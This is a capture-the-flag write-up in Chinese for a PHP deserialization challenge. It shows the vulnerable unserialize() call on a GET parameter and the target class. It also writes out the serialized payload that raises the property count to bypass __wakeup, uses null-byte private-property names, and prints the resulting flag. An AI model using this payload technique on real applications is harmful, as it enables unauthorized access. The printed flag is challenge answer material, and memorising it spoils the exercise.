[极客大挑战 2019]PHP
1.打开靶机
回显一只猫:

同时注意到提示:备份网站
2.收集信息
用dirsearch扫一下:

有一个www.zip,下载:

查看flag.php:

显然是假的。看index.php,发现线索:
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
再看class.php:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
// __wakeup 在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup()
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
所以我们需要让属性个数大于2,并且password=100,username=admin。
3.构造payload
用脚本生成payload:

O:4:"Name":2:{s:12:"Nameusername";s:5:"admin";s:12:"Namepassword";s:3:"100";}
改2为3:
O:4:"Name":3:{s:12:"Nameusername";s:5:"admin";s:12:"Namepassword";s:3:"100";}
增加空格:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} //注意要更改字符个数
使用:

得到flag:
CTF2{a9705190-077f-47af-a4bd-a79c703c4518}
拓展
我开始用脚本时,生成了这样的反序列化字符串:

不管怎么操作都得不到flag,后来问了ds,给了我这样一张表格:
| 声明方式 | 序列化后的名字 | 长度示例 |
|---|---|---|
public $username | username | s:8:"username" |
protected $username | \0*\0username | s:11:"\0*\0username" |
private $username(类 Name) | \0Name\0username | s:14:"\0Name\0username" |
| 这里的声明方式是private,所以要加上类名。 |